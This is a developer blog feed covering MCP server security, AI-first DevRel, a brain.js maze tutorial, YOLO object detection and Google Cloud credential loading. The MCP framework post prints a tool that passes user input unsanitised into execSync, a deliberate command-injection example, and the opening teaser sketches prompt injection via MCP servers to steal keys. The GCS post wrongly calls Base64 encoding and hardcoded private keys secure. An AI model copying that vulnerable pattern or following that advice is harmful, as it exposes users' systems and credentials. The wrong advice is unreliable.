Prompt injection is one thing. Indirect prompt injection is another, and a whole new level of scary.

This is how an attacker can:

Steal your API keys and cloud credentials.
Read your company’s private source code.
Install ransomware.

The Kicker:

This doesn’t require a zero-day exploit. It preys on a developer’s natural workflow: moving fast and trusting third-party tools. A single, un-audited MCP server turns your helpful AI assistant into the ultimate insider threat.

Command injection is how we let the trojan horse build itself.

Now if only I could apply proper input sanitization to my life choices…

Secure Your MCP Servers with Environment Variable Risk Assessment

Tue, 09 Sep 2025 00:00:00 GMT

The latest update to the ls-mcp tool introduces a crucial security feature: the ability to detect and assess the risk level of credentials stored in environment variables within MCP server configurations. This enhancement helps developers and security teams identify potential security risks by flagging high-risk credentials such as API keys and tokens. By integrating this feature, users can better secure their AI application environments and ensure compliance with security standards.

Prerequisites

Before diving into the new feature, ensure you have the following:

Node.js: Current LTS version
npm: Installed and configured
Access: A system with MCP server configurations

Understand the Problem

Environment variables are a common method for storing sensitive information like API keys and tokens. However, they pose a security risk if not managed properly. The ls-mcp tool now includes a feature to detect and categorize these risks, helping you secure your MCP server configurations.

Feature Overview: Credential Risk Detection

The new credential risk detection feature in ls-mcp is designed to identify and categorize potential security risks in environment variables. This feature scans MCP server configurations for common patterns in environment variable names that suggest sensitive information, such as API_KEY or SECRET_TOKEN.

Why This Matters

Identifying and categorizing credential risks is crucial for maintaining the security of your AI applications. By flagging high-risk credentials, you can take proactive measures to secure your environment and comply with security standards.

How It Works

The tool uses pattern matching and heuristics to detect environment variables that likely contain sensitive information. It then categorizes these variables based on their risk level, providing a clear indication of potential security threats.

Technical Implementation

Credential Detection Service

The credential detection service is the core of this new feature. It uses pattern matching to identify environment variables that may contain sensitive information. Common patterns include names like API_KEY, SECRET, and TOKEN.

{
  "mcpServers": {
    "firecrawl-mcp": {
      "command": "npx",
      "args": ["-y", "firecrawl-mcp"],
      "transport": "stdio",
      "env": {
        "FIRECRAWL_API_KEY": "12345"
      }
    }
  }
}

Why this matters: This example demonstrates how sensitive information is detected and flagged.

Verify: Run the ls-mcp tool and observe the CLI output for risk indicators.

Integration with MCP Config Parser

The credential detection feature is seamlessly integrated into the existing MCP config parser. This integration ensures that the detection process is part of the standard workflow, providing continuous security monitoring.

Render Service Updates

The CLI output has been updated to include visual indicators of risk levels. This enhancement allows users to quickly assess the security status of their environment variables.

Conclusion

The new credential risk detection feature in ls-mcp is a significant step forward in securing MCP server configurations. By identifying and categorizing potential security risks, this feature helps you protect your AI applications and comply with security standards.

Try the new feature by updating ls-mcp and running it on your configurations.
Follow on X/Twitter for new guides and security research.
Explore more code examples and related work on GitHub.

Follow on X/Twitter for updates and new guides.
Explore more code examples and related work on GitHub.

Solving an ASCII Maze with a Neural Network in JavaScript

Sun, 07 Sep 2025 00:00:00 GMT

Wouldn’t it be cool if we could use neural networks to solve a maze? Well, we can! You’ll also find the complete code on GitHub.

Basically we’re going to train a neural network to find the path from the start (S) to the end (E) of a maze represented in ASCII format. The maze will be represented as a grid of characters, where # represents walls, (space) represents open paths, S is the start point, and E is the end point.

Imagine something like this. Actually, you don’t need to imagine. The maze is in ASCII 😆 so you can literally take a look:

{error: 0.004700880403111688, iterations: 75}
Solution found!

Path through the maze:
# # # # # # #
S * * * #   #
# # # * #   #
#     * * * #
#   # # # * #
#       # * E
# # # # # # #

Ever wondered how artificial intelligence can navigate complex mazes? Let’s set out to explore how to train a neural network to solve mazes using JavaScript and the brain.js library. By the end, you’ll have a practical understanding of maze representation, training data generation, and neural network application in Node.js. Let’s dive in!

This is what we are going to build:

Prerequisites

Before we start, ensure you have the following:

Node.js: Version 14 or higher.
npm: Version 6 or higher.
brain.js: Install via npm install brain.js.
Basic understanding of JavaScript and Node.js.

Represent the Maze in Code

To solve a maze, we first need to represent it in a way that our neural network can understand. We’ll use a 2D array where each cell can be a wall (#), a start point (S), an end point (E), or a path ( ).

1. Define the Maze Structure

Why this matters: A clear representation allows us to map positions to coordinates, which is crucial for processing and training.

const maze = [
  ['#', '#', '#', '#', '#', '#'],
  ['#', 'S', ' ', ' ', 'E', '#'],
  ['#', ' ', '#', ' ', '#', '#'],
  ['#', ' ', '#', ' ', ' ', '#'],
  ['#', '#', '#', '#', '#', '#']
];

2. Map Positions to Coordinates

Mapping positions helps in tracking the agent’s movement through the maze.

function getCoordinates(maze) {
  const coordinates = [];
  maze.forEach((row, y) => {
    row.forEach((cell, x) => {
      if (cell !== '#') {
        coordinates.push({ x, y });
      }
    });
  });
  return coordinates;
}

const coordinates = getCoordinates(maze);
console.log('Maze Coordinates:', coordinates);

Generate Training Data

Training data is essential for teaching the neural network how to navigate the maze. We’ll create examples based on valid moves from each non-wall cell.

3. Create Training Examples

Why this matters: Training examples guide the neural network in learning valid moves and optimal paths.

function generateTrainingData(maze) {
  const trainingData = [];
  const directions = ['up', 'down', 'left', 'right'];

  coordinates.forEach(({ x, y }) => {
    directions.forEach(direction => {
      const input = { x, y, direction };
      const output = isValidMove(maze, x, y, direction);
      trainingData.push({ input, output });
    });
  });

  return trainingData;
}

function isValidMove(maze, x, y, direction) {
  // Logic to determine if a move is valid
  // Returns 1 for valid, 0 for invalid
}

const trainingData = generateTrainingData(maze);
console.log('Sample Training Data:', trainingData.slice(0, 5));

Set Up the Neural Network

With our training data ready, it’s time to set up the neural network using brain.js.

4. Configure the Neural Network

Why this matters: A well-configured network can efficiently learn and predict the best moves.

const brain = require('brain.js');
const net = new brain.NeuralNetwork({
  hiddenLayers: [3]
});

net.train(trainingData, {
  errorThresh: 0.005, // Aim for a low error threshold
  iterations: 20000,
  log: true,
  logPeriod: 100
});

Solve the Maze

Now, let’s use the trained neural network to solve the maze.

5. Traverse the Maze

Why this matters: This step demonstrates the neural network’s ability to make decisions and find the path to the exit.

function solveMaze(maze, net) {
  let position = { x: 1, y: 1 }; // Starting position
  const path = [];

  while (maze[position.y][position.x] !== 'E') {
    const output = net.run(position);
    const direction = getBestDirection(output);
    position = move(position, direction);
    path.push(position);
  }

  return path;
}

const solution = solveMaze(maze, net);
console.log('Solution Path:', solution);

Visualize the Process

Visualizing the maze and the path taken by the neural network can provide insights into its decision-making process.

6. Visualize Maze States

Why this matters: Visualization helps in understanding how the neural network navigates the maze.

function visualizeMazeAtPosition(maze, currentPosition) {
  const visualMaze = maze.map(row => [...row]);
  const { x, y } = currentPosition;
  visualMaze[y][x] = '*';
  console.log('\nPath through the maze:');
  visualMaze.forEach(row => console.log(row.join(' ')));
}

visualizeMazeAtPosition(maze, { x: 1, y: 1 });

Troubleshooting & Pitfalls

Common Error: Neural network not converging.
- Fix: Increase the number of iterations or adjust the learning rate.
Pitfall: Infinite loops in maze traversal.
- Fix: Implement a mechanism to avoid revisiting positions.

Automate and Extend

Consider automating the training and solving process using CI/CD pipelines. You can also extend this project by experimenting with larger mazes or more complex neural networks.

Conclusion & Next Steps

By following this guide, you’ve learned how to train a neural network to solve mazes using Node.js and brain.js. Feel free to experiment with different mazes and explore further applications of neural networks in game AI or robotics.

Don’t forget you can check out the complete code on my GitHub profile at the following code repository: lirantal/neural-network-solves-maze.

Happy coding and deploying!

Automate Package Health Checks with Snyk Advisor and Qodo Agents

Sat, 06 Sep 2025 00:00:00 GMT

The Qodo AI team has unveiled a new feature in their agents repository: the Package Health Reviewer. This tool leverages Snyk Advisor to automate the health assessment of third-party open-source packages. By providing a comprehensive analysis of package security, maintenance, and community metrics, it offers a health score that categorizes packages as ‘healthy’, ‘sustainable’, or ‘risky’. Designed to integrate seamlessly into CI/CD workflows, this tool helps teams make informed decisions about their dependencies and maintain robust security practices.

Why Package Health Matters

As developers have already become aware of, the health of your dependencies can make or break your project. Unhealthy packages can introduce vulnerabilities, lead to maintenance headaches, and even cause project delays. Snyk Advisor plays a crucial role by providing reliable metrics on package security, maintenance, and community engagement. This ensures that developers can trust their dependencies and maintain high security standards.

How the Package Health Reviewer Works

The Package Health Reviewer integrates with Snyk Advisor to fetch detailed package metrics. Using Playwright for data scraping, it evaluates packages and assigns a health score. This score helps developers quickly identify whether a package is ‘healthy’, ‘sustainable’, or ‘risky’, allowing for informed decision-making.

Setting Up the Package Health Reviewer

To get started with the Package Health Reviewer, you’ll need to configure the agent using an agent.toml file. Here’s a step-by-step guide:

Install Prerequisites
Ensure you have Node.js 18+ and npm installed. Playwright MCP server will be auto-installed.
Configure the Agent
Create an agent.toml file in your project directory. This file will define the packages you want to analyze.
```
[package_health]
packages = ["express", "request"]
```
Run a Package Health Check
Use the following command to analyze a package:
```
qodo --agent-file=agent.toml -y --set package_name="express"
```
Why this matters: This command demonstrates the basic usage of the Package Health Reviewer.
Verify: Run the command and check for a JSON output with health metrics.

Integrating with CI/CD Pipelines

Automating package health checks in your CI/CD pipeline ensures continuous monitoring of your dependencies. Here’s how you can set it up with GitHub Actions:

Create a GitHub Actions Workflow
Add a new workflow file in .github/workflows/package-health-check.yml:

name: Package Health Check
on: [pull_request]
jobs:
  health-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '24'
      - name: Check package health
        run: |
          qodo --agent-file=agent.toml -y --set package_name="express" --ci

Why this matters: This setup automates health checks in a CI/CD pipeline.
Verify: Ensure the workflow runs on pull requests and outputs health scores.

Interpreting Health Scores

Understanding the health scores is crucial for making informed decisions about package usage. The scores are categorized as follows:

Healthy: Safe to use with no known vulnerabilities.
Sustainable: Generally safe but may have minor issues.
Risky: Contains vulnerabilities or is poorly maintained.

Case Study: Analyzing Popular Packages

Let’s analyze the popular express package:

Express: Known for its robust community and frequent updates, it typically scores as ‘healthy’.
Request: Although widely used, it has been deprecated, often scoring as ‘risky’.

Conclusion

The Package Health Reviewer is a powerful tool for automating dependency analysis, ensuring your projects remain secure and maintainable. By integrating it into your CI/CD pipeline, you can continuously monitor package health and make informed decisions. Try the Package Health Reviewer on your project today, integrate health checks into your CI/CD pipeline, and share your feedback or contribute to the Qodo AI repository.

Some follow-up resources:

Happy coding and deploying!

Computer Vision in Python Building Detection and Object Annotation with Ultralytics YOLO and Supervision

Thu, 04 Sep 2025 00:00:00 GMT

What if you could detect speakers at a tech conference and annotate them with their names in real-time? What if you could use this to manage multi-track conference room occupancy? These are just some off-the-cuff ideas to get your creative juices flowing. This is the power of computer vision and object detection.

Python is most naturally known for its data science and machine learning libraries so we’ll be building a simple computer vision project in Python, an open-source image detection model and another open-source annotation model to achieve the basic functionality.

Our goal is to annotate the following picture:

Can we make it happen…? Let’s go!

Image Detection Code Analysis

This code implements an object detection system using YOLO (You Only Look Once) model. Let me break it down by sections:

Library Imports and Their Purposes

os: Handles file paths and system operations
cv2 (OpenCV): Image processing and manipulation
supervision: Provides utilities for annotating and visualizing object detections
ultralytics: Implements the YOLO model for object detection

Getting Started with Computer Vision in Python

We’ll go through a simple example of how to use the Ultralytics YOLO model for object detection and Supervision for annotating the detected objects in an image.

Our ultimate goal is to provide an input image and get an output of the same image with bounding boxes and labels around the detected objects. The detection is provided via the YOLO model, and the annotation is done using Supervision.

Environment Setup

Sets up the imports for the Python libraries used in the code:

import os
import cv2
import supervision as sv
from ultralytics import YOLO

Sets up paths for input images and working directory.

HOME = os.path.expanduser(".")
EXAMPLE_IMAGES_DIR = os.path.join(HOME, "image_detection_examples")
IMAGE_PATH = f"{HOME}/image_detection_examples/dog-1.jpeg"

And then declare the main function:

if __name__ == "__main__":
    print("Image detection environment set up.")

The next code snippets will be inside the if __name__ == "__main__": block.

Image Preprocessing

Loads the image using the OpenCV library:

    image = cv2.imread(IMAGE_PATH)

Not always required, but sometimes you may want to apply padding so that the annotation is within the visible area of the image. If so, you can achieve it using the same OpenCV library that adds white padding around it to improve detection accuracy:

    padding = 100
    image_with_padding = cv2.copyMakeBorder(
        image,
        top=padding, bottom=padding,
        left=padding, right=padding,
        borderType=cv2.BORDER_CONSTANT,
        value=[255, 255, 255]
    )

Object Detection

Loads the YOLOv8 model and performs object detection on the padded image:

    model = YOLO("yolov8s.pt")
    result = model(image, verbose=False)[0]

Annotation Setup

Prepares tools for drawing bounding boxes and labels around detected objects:

    detections = sv.Detections.from_ultralytics(result)
    box_annotator = sv.BoxAnnotator()
    label_annotator = sv.LabelAnnotator()

Image Annotation

Draws bounding boxes and labels on the image for each detected object:

    annotated_image = image.copy()
    annotated_image = box_annotator.annotate(annotated_image, detections=detections)
    annotated_image = label_annotator.annotate(annotated_image, detections=detections)

Output

Saves the annotated image to disk as annotated_image.jpg:

    cv2.imwrite("annotated_image.jpg", annotated_image)
    print("Annotated image saved successfully.")

The code demonstrates a complete object detection pipeline: from loading an image, processing it, detecting objects using YOLO, and finally visualizing the results with bounding boxes and labels.

—

The code for this small project is available on GitHub so that you can easily reproduce and extend it: https://github.com/lirantal/image-detection-project

What do AI-first DevTool Companies Look Like and how DevRel Practices Change?

Wed, 03 Sep 2025 00:00:00 GMT

Developer relations (DevRel) has always been an ever-changing field, and the reason is deeply rooted in the nature of technology always evolving and as a developer advocate, the need to adopt education materials, demo applications, and content to match the latest trends and technologies.

In the last decade, pre-GPT era, technology trends were myriad and some honorary mentions in the web development space include Serverless computing, JAMstack, GraphQL, React Server Components, and more. Each of these paradigm shifts was significant and impactful to warrant a counter shift in how developers build applications, and called for developer relation professionals to adapt their skill-set accordingly.

ChatGPT 3.5 entered the chat…

If we considered those shifts as pivotal, then November 30th, 2022, the day OpenAI announced ChatGPT 3.5 will be forever remembered and marked as the day that introduced a monumental shift in how developers build applications, and by proxy, how developer relations professionals engage with developers. post-GPT era, the DevRel playbook must adopt to complement AI-first developer tool (DevTool) companies and many prior tactics are no longer relevant.

In this write-up, I want to unpack what AI-first developer relations practices look like and specifically draw a direct line to developer tool companies that aim to be AI-first.

AI-first Documentation Context

I’ve written before what LLMs.txt are but in short, it’s a way to expose large data context to LLMs in the way LLMs like best to ingest data: structured text files.

A good call out here is Bun, the server-side JavaScript runtime, which hosts a llms.txt endpoint in their website (https://bun.sh/llms-full.txt) to allow LLMs to easily access the needed context to answer questions about Bun:

If you open up the llms-full.txt file you’ll see the content is large and comprehensive but it isn’t designed for human consumption. This isn’t your usual Developer Experience (DX) docs page but rather very meticulously crafted to be machine-readable and consumable by LLMs.

AI-first Documentation Crawl

In another aspect of developer experience, let’s expand on the documentation itself which many developer tool companies hold in high regard as a key pillar of their product. We can probably agree the documentation is often the first place developers go to when they want to learn how to use a tool and it’s a pillar for onboarding users and a direct PLG influencing vehicle for your product success.

Pre-GPT era, DX teams engineered for humans consuming the documentation and have optimized for readability and overall usability. One example, is that documentation web pages would have buttons that clicking them to copy commands to the clipboard, or clicking them would navigate you to a specific page in the web application such as your settings page to configure your API key.

In the post-GPT era, we optimize for LLM crawlers and AI agents that open the documentation page and consume it. Instead of expecting AI agents to point-and-click we could engineer for an experience that is much more akin to the way LLMs consume data and operate with the data. AI agents, more and more prevalent, have access to tools (MCP Servers), that can execute commands. In this case, we can optimize the docs experience for AI agents by providing an actual cURL command snippet that includes the header for user-specific authorized requests and the URL and query string parameters for the specific action. This would allow the AI agent to not only consume the documentation page but also follow-up with an action that is relevant to the workflow being executed.

Real-life example of this is Vercel’s documentation page for their AI Agentic workflows. Per Lee Rob, formerly Vercel head of DevRel, Vercel’s replacing navigation links with copy-paste commands to allow agents crawling the documentation pages to follow-up on agentic workflows:

In this context, browser-use agents are increasingly being used to crawl documentation pages and extract relevant information for developers. This is a powerful way to make documentation more accessible and useful, as it allows developers to quickly find the information they need without having to manually search through the documentation.

AI-first LLM Capabilities

LLMs and Agentic AI workflows are increasingly embraced by developers and the key to unlock access to your devtool and product capabilities is through the Model Context Protocol and MCP Servers.

There’s been a lot that has been written already about the Model Context Protocol (MCP) and how it enables AI agents to invoke tools and open a new user interaction process with your product capabilities, so I’ll avoid repeating the take here but I’m a big fan of MCPs and while MCPs are not tied to developer specifically (as in, imagine your Mom using Claude Code and asking it to book a flight), they are a great segue to developers and agentic code workflows.

In the context of developer tool companies, MCPs are like APIs. If you don’t have an API for developers to interact with your product in a programmatic and scripted way, are you really a devtool company? Similarly, MCPs. If you want to tap into the growing adoption of AI agents, AI coding assistants and fully autonomous agentic workflows - that’s where MCPs come in.

A good demonstration of that (and yes I’m biased, because I work at Snyk) is the Snyk MCP Server.

Why is the Snyk MCP Server not just a product pitch but an actual value offer to developers? Easy - what are the chances that the LLMs hallucinate some non-existent package? what are the chances that LLMs generate insecure code? what are the chances that LLMs are able to accurately fix vulnerabilities in code without introducing new ones? For all of these security concerns the answer is “very likely” and definitely ”> 0% chance” of that happening which is exactly the point.

AI-first SEO

We mentioned llms.txt as a way for LLMs to consume contextual data about your devtool company and product offering but there’s a side-benefit to that: SEO, or more accurately: LLM SEO.

LLM SEO is the practice of optimizing LLM responses to favorably rank your product high and in a positive light as the answer to a question that LLMs are asked.

So back to llms.txt files - they are actively crawled by LLMs as part of their training data, which in turn, means that there’s potentially a higher chance for your product to be surfaced and featured as a recommendation in an LLM response.

A good demonstration of this is Tally Forms. Marie Martens, Co-founder of Tally shared on X:

Another reference of that is Vercel’s documentations llms.txt file.

Remember, optimizing for LLM SEO (or AI SEO) doesn’t mean you should trade off traditional SEO practices but rather complement them with LLM-specific query response optimizations.

AI-first Assisted Guides

From Developer Experience (DX) to Agentic Experience (AX), the shift in mindset and ecosystem adoption is real.

One well established demonstration of that in practice is the Astro docs (Astro is a static site generator) which @astrodotbuild added, a “Build with AI page” to their docs:

As you can see from the screenshot, the page ultimately caters to developers who embrace AI and to plausibly to AI agents themselves. The purpose of this tool is to communicate, clarify and enable product adoption of the Astro static site generator in the context of AI-first development practices.

This “Build with AI” documentation page layers all the AI-native practices and building blocks that are often utilized in an agentic workflow:

LLMs.txt files, which provide context to LLMs about the product.
MCP Servers that allow AI agents to interact with the product capabilities.
Context and rules files that provide additional information to LLMs.

Securely Loading Credentials for Google Cloud Storage in Node.js

Tue, 02 Sep 2025 00:00:00 GMT

Google Cloud Storage (GCS) is a robust and scalable object storage service offered by Google Cloud. To interact with GCS in your Node.js applications, you’ll need to authenticate using service account credentials. This article explores different methods for securely loading these credentials into your Node.js code.

Initializing Credentials for the Storage Constructor

The Storage constructor in the Google Cloud Storage Node.js client library accepts credentials in various formats. Let’s explore the common methods:

Using a JSON File:

The most common approach is to use a JSON file containing your service account key. You can generate this key from the Google Cloud Console.

const {Storage} = require('@google-cloud/storage');

const storage = new Storage({
    keyFilename: 'path/to/your/key.json' 
});

Using an Environment Variable:

While convenient, directly storing the JSON contents of your service account key in an environment variable is not recommended due to security risks.
- Secure Approach:
  - Encode the JSON: Encode the JSON contents of your service account key file using Base64 encoding.

const serviceAccountJSON = require('path/to/your/key.json'); 
const serviceAccountBuffer = Buffer.from(JSON.stringify(serviceAccountJSON), 'utf-8');
const serviceAccountBase64Encoded = serviceAccountBuffer.toString('base64');

- Set the Environment Variable: Store the `serviceAccountBase64Encoded` string as an environment variable.

- Decode and Use:

const serviceAccountBase64Encoded = process.env.GCLOUD_SERVICE_ACCOUNT_KEY;
const serviceAccountBuffer = Buffer.from(serviceAccountBase64Encoded, 'base64');
const serviceAccountJSON = JSON.parse(serviceAccountBuffer.toString('utf-8'));

const storage = new Storage({
    credentials: serviceAccountJSON
});

Specifying Credentials Directly:

You can also specify the credentials directly within the Storage constructor:

const storage = new Storage({
    credentials: {
        type: 'service_account',
        project_id: 'your-project-id',
        private_key_id: 'your-private-key-id',
        private_key: '-----BEGIN PRIVATE KEY-----\n' + 
                    'your-private-key-content\n' + 
                    '-----END PRIVATE KEY-----\n',
        client_email: 'your-client-email',
        client_id: 'your-client-id',
        auth_uri: 'https://accounts.google.com/o/oauth2/auth',
        token_uri: 'https://oauth2.googleapis.com/token',
        auth_provider_x509_cert_url: 'https://www.googleapis.com/oauth2/v1/certs',
        client_x509_cert_url: 'your-client-x509-cert-url'
    }
});

Choosing the Right Method:

Using a JSON file: Simplest approach, but requires managing a separate file.
Using an environment variable: Convenient, but crucial to use Base64 encoding for security.
Specifying credentials directly: Secure, but less flexible for managing multiple configurations.

Conclusion

By understanding these methods, you can securely load credentials for your Google Cloud Storage Node.js applications and interact with GCS effectively. Always prioritize security best practices when handling service account keys.

For further details and advanced configurations, refer to the official Google Cloud Storage Node.js client library documentation.

I hope this blog post helps you effectively manage your GCS credentials in Node.js!

A Proposed MCP Server Security Evaluation Framework

Mon, 01 Sep 2025 00:00:00 GMT

AI Agents are upon us and without properly mapping out security threats how can you even consider which guardrails to put in place? I’d like to propose a guiding framework for evaluating Model Context Protocol (MCP) Server security using a set of criteria that can be used to assess the security posture of an MCP server implementation.

The audience for this framework is:

Software developers considering building an MCP server
Software developers considering using an MCP server in their AI agents (Cursor, Claude Code, etc)
Security practitioners evaluating the security of MCP servers adoption and integration

MCP Server Configuration

1. Remote MCP Server Relies on Credentials via Query String

Maintaining authentication and authorization for an MCP server is a legitimate use-case, however, the way that credentials are handled is critical.

It’s been a long-standing best practice to avoid passing sensitive credentials in the query string of a URL, as they can be logged across various places (e.g., browser history, server logs). Even though we’re in the age of HTTPS, the PHP developer ecosystem have been repeatedly frowned upon for following this practice of passing cookie session IDs.

Yet, I’ve observed that some remote MCP server configurations still rely on passing API tokens in the query string. This is a security risk, as it can lead to accidental exposure of sensitive information:

2. MCP Server Configuration Secrets via Environment Variables

In another case of insecure storage of sensitive information such as credentials in the form of API tokens, API keys and other secrets is when such information is stored in the environment variables configuration of an MCP Server.

Consider the following example of an MCP server configuration file that stores sensitive information in environment variables:

{
  "mcpServers": {
    "server-name": {
      "command": "executable",
      "args": ["arg1", "arg2"],
      "env": {
        "API_TOKEN": "secret-key"
      }
    }
  }
}

This MCP configuration is often a JSON file on disk at the local project directory ./.vscode/mcp.json for example, or at the user’s home directory ~/.vscode/.mcp.json and is easily accessible by anyone with access to the file system.

These sensitive files become a target for exfiltration by attackers.

MCP Server Implementation

Risks in MCP Server implementation vary and are quite broad. MCP Servers can also be evaluated based on whether they are of a trusted entity or not, therefore opening the risks of malicious code as part of the MCP Server implementation.

In the scope of this proposed MCP Server security evaluation framework, I will assume that the MCP Server is implemented by a trusted entity, and as such, the security risks mostly related to secure coding conventions and practices.

For example, consider the following MCP Server tool implementation that is written in JavaScript using the @modelcontextprotocol/sdk/server package:

import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { z } from "zod";
import { execSync, execFileSync } from "child_process";

const server = new McpServer({
  name: "npm JavaScript package management tools",
  version: "1.0.0",
  description: "Provides tools to get information about open source npm packages from the npmjs registry"
});

server.tool(
  "getNpmPackageInfo",
  "Get information about an npm package",
  {
    packageName: z.string()
  },
  async ({ packageName }) => {    
    const output = execSync(`npm view ${packageName}`, {
      encoding: "utf-8",
    });

    return {
      content: [
        {
          type: "text",
          text: output
        },
      ],
    };
  }
);

MCP Server Assets

The last piece of the MCP Server security evaluation framework ties to the building blocks of an MCP Server which is often a composition of third-party libraries, as is common with many software projects today relying on open source software.

As such, third-party libraries can introduce security risks to pay attention to, just as with any other project:

Insecure inclusion of third-party libraries
Incompatible licenses

The above risks of third-party libraries are nothing new to developers and security practitioners, however, they are worth mentioning in the context of MCP Server security evaluation which is often a black box when configuring new MCP Server integrations.

DevRel Engagement and GTM Tactics on X / Twitter

Sat, 23 Aug 2025 00:00:00 GMT

How many times did the product manager ask you to promote a feature? How many times did the marketing folks reach out and asked you to like or comment on their LinkedIn? Ahh yes, the wonders of working in Developer Relations (DevRel). Ok so we’re all trying to farm some honest engagement and get a bunch of eyes looking at the cool tech we’re building, but how do you do it well?

I have a good bonus tip here for DevRel folks - I’ll give you a KPI for each of the tactics so you can propose measuring them too and A/B test.

So how do you create an engaging post? I’ll share a bunch of DevRel go-to-market (GTM) tactics that specifically work well on X/Twitter (to some extent you can copy this over to LinkedIn / Reddit).

Genuine Value

You can’t mess this one up. It can’t be some fluffy marketing announcement. Your company did an acquisition? fine, fine. Not interesting. Unless you’re a MAG7 company or there’s a very deep devtool relationship between the two companies then there is likely no actual interest to users.

Your news story to break has to be relevant and actionable to users to the point of them going into your docs, downloading the new version, trying it out, exploring more. Otherwise, you lost them. No one is interested in “Next month we unveil bla bla bla” and there’s literally no action to take on that, so what’s the point?

You have to deliver truly genuine, authentic and sincere tangible value to your users with that story.

What even is the story? Notice how I didn’t call this out. It can be:

New product
New 3rd-party integration
New open-source template that builds on your product

All of those are great examples that resonate well with users of devtool companies.

DevRel KPIs:

So how do you know if your post would work? Easy:

X gives you a “views” impression count, track that and compare it relatively to other posts
Share it internally on Slack / Discord with your engineering chanel, was there a “wow” effect?

Unusual Story

As with many things unique to X, good things come in threads :-)

Your first post has to capture and be compelling enough to stand out. Optimize for the following:

Short, concise.
Compress the take-away to a sentence

Here is a good example from Hassan:

DevRel KPIs:

Time-To-Coolness-Factor: how many bookmarks do you have on the post? Bookmarks on X are often a good measure of how interesting a post is that users bookmark it so that even though they’re busy now and just doom scrolling a bit they can get back to what captured their attention before and deep-dive into it.

Visual asset

It’s hard to stand out with just text, and I hope you already know that social networks like X and LinkedIn has an algorithm that punishes posts with external link references so that’s a big no-no.

That leaves you with either a good visual image, or a short (<30 seconds) video to capture attention. Don’t mess this up. Show the value. Make it intriguing to explore more.

KPIs are similar as the above for capturing your messaging and storytelling - rely on “views” as an impressions metric.

The Gift

So far we focused on the first post. Next, comes the gift you provide developers. That’s the link that you can’t put on the first post due to algos.

Along with the link, make sure you tell developers “why”. Some examples:

This allows you to build
This is 100% open source
This cuts your time by 50%, get faster

Note: avoid UTMs in the link unless necessary.

KPIs:

Referral source - track your analytics for referral sources from X/Twitter.

Extra Boost

To boost engagement on X, you can tag other accounts that are in some way related.

Here are some examples:

If you’re releasing a product that integrates with company Y, tag them (in the second post, not the first)
If you’re releasing an open source template, tag the relevant (and high traffic) accounts that the project uses/built-on

Example:

Plan, Don't Execute: Agentic Workflows in Zero Trust Environments

Tue, 19 Aug 2025 00:00:00 GMT

We are not even half a decade into the immersion of generative AI and other AI-powered disciplines into our daily lives and it is already hard to imagine a world without AI, and yet, some low-trust environments will not be able to fully embrace AI agents and AI-centric workflows but at the same time these environments won’t be able to stay relevant without them. This is the paradox of zero trust environments, such as those in defense, government and highly sensitive industries, where the risk of misuse and abuse of AI agents is high, but the need for efficiency and innovation is also pressing.

What are zero-trust environments? From a cybersecurity perspective, zero-trust environments are those that assume no user or system can be trusted by default. A sort of, “trust no one” approach that optimizes for the long-lasting security practice of “principle of least privilege”. In these environments, every action and request is treated with suspicion and requires strict verification and validation. This is in contrast to traditional computing environments where trust is granted based on network location or user credentials.

Examples for computing environments that are operate in highly sensitive verticals and require a zero-trust approach include:

Defense and military systems
Government and public sector systems
Financial institutions and banking systems
Healthcare and medical systems
Critical infrastructure systems (e.g., power grids, water supply)

How can such environments and organizations leverage AI and agentic workflows without compromising security and trust?

I believe the answer lies in two key principles: local-first AI agents and semi-agentic workflows.

Local-first AI Agents

Just as these highly sensitive environments been slow to adopt cloud computing and have more-often-than-not reached for on-premise solutions, so too will they be slow to adopt AI agents that are cloud-based and provided by cloud vendors such as OpenAI or Anthropic’s remote models. Instead, they will prefer local-first AI agents that run on-premise, ensuring that data and operations remain within the organization’s control. Hard requirements to ensure that data does not leak outside the organization and that the underlying vendors and supplies of AI models do not train or fine-tune their models on the data that is being processed by the AI agents.

Semi-Agentic Workflows

Given the advancement of agentic development workflows, where AI agents assume autonomy in executing tasks and making decisions, these workflows are likely to be too risky for highly sensitive environments. The risk of AI agents making decisions that could lead to security breaches, data leaks, or other unintended consequences is simply too high and will receive too much scrutiny from regulators and security teams (yes, your CISO is not going to like the idea of AI agents running off on their own).

As such, what does it mean to embrace agentic workflows in these environments? First and foremost, it means that these environments will need to adopt a plan, don’t execute approach.

At its core, semi-agentic workflows will require a “human in the loop” (HITL) approach for oversight and overall control flow validation. Such semi-agentic workflows will position AI agents as tools for planning and inferring intent, rather than executing tasks autonomously. This means that AI agents will be used to analyze data, generate insights, and propose actions, but the actual execution of tasks will be done through pre-defined workflows that are carefully designed and vetted by human operators.

Traits of AI-native Products for Optimized AI Agentic Workflows

Fri, 15 Aug 2025 00:00:00 GMT

As someone who’s been on both ends of application developer and application consumer, it is a fascinating right now to see the shift in computing and how AI is now taking the center stage on both of those ends. Developers use generative AI to write code and at the same time, AI agents are effectively driving application interaction and workflows, on behalf of humans (for now).

So if you’re building applications that are intended to be consumed by AI agents then optimizing for AI-first consumption should be top of mind. But what does it mean?

To allow AI agents to efficiently consume your application and drive workflows around it, we need to distill the essence of what makes an agentic execution successful.

Let’s raise a few questions around how agents execute and try to answer them:

What are the limiting factors of AI agents? We know that context windows have traditionally been an issue, even if the window keeps increasing with new models, but at the same time, the agentic application utilizes that too for its own benefit and throws a lot of information into the context window of the agent. For example: reading your directory structure, reading source code files, reading recent commits, running an ast-grep output for the context and so much more.
What are the tools available to AI agents? agentic workflows are increasingly transitioning into autonomous execution and LLMs are further expected to invoke tools and MCP servers at their disposal to squeeze the most out of the actionable execution that they can perform. So if AI agents can execute tools, we can leverage that to our advantage.

Let me call it at that with those 2 high level takeaways for now, and continue next to unfold those to actual practices with real-world examples.

AI-first context awareness

As a developer, what artifact can you think of that can quickly deteriorate the quality of a context window and incur a negative performance on the agent execution?

Logs is a first good answer. Another example to point out is large files. Large files are a potential bottleneck for AI agents functioning properly due to the fact that they will eat up a large amount of context window. That could lead to degraded performance because then recent messages become older messages and so on.

Ok so what’s a practical example of this? Imagine you are running a Claude Code agent that works on a code base. As part of the work it needs to run tests. When it runs the tests it runs the entire test suites. Imagine you have a ton of tests and just the output of that test suite, in terms of the test runner or framework (and the reporter) is just excessively large. Every time the agent executes a code change it executes the tests and fills up a large chunk of the context window just for the sake of tests.

$ npm run test

